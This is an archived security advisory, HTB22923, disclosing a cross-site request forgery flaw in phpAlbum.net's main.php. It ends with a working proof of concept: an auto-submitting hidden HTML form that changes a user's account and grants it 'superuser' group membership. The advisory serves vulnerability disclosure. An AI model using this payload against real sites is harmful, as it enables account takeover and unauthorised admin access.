[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

HTB22923: XSRF (CSRF) in phpAlbum.net



Vulnerability ID: HTB22923
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpalbum_net.html
Product: phpAlbum.net
Vendor: Patrik Jakab ( http://www.phpalbum.net/ ) 
Vulnerable Version: 0.4.1-14_fix06
Vendor Notification: 31 March 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "main.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/main.php"; method="post" name="main">
<input type="hidden" name="p_username_f" value="test">
<input type="hidden" name="p_password_f" value="">
<input type="hidden" name="p_retype_password_f" value="">
<input type="hidden" name="p_email_f" value="email@xxxxxxxxxxx">
<input type="hidden" name="p_homepage_f" value="http://www.example.com";>
<input type="hidden" name="p_group1" value="guest">
<input type="hidden" name="p_group2" value="superuser">
<input type="hidden" name="p_userid_f" value="USERID">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="user">
<input type="hidden" name="var3" value="USERID">
<input type="hidden" name="var2" value="update">
</form>
<script>
document.main.submit();
</script>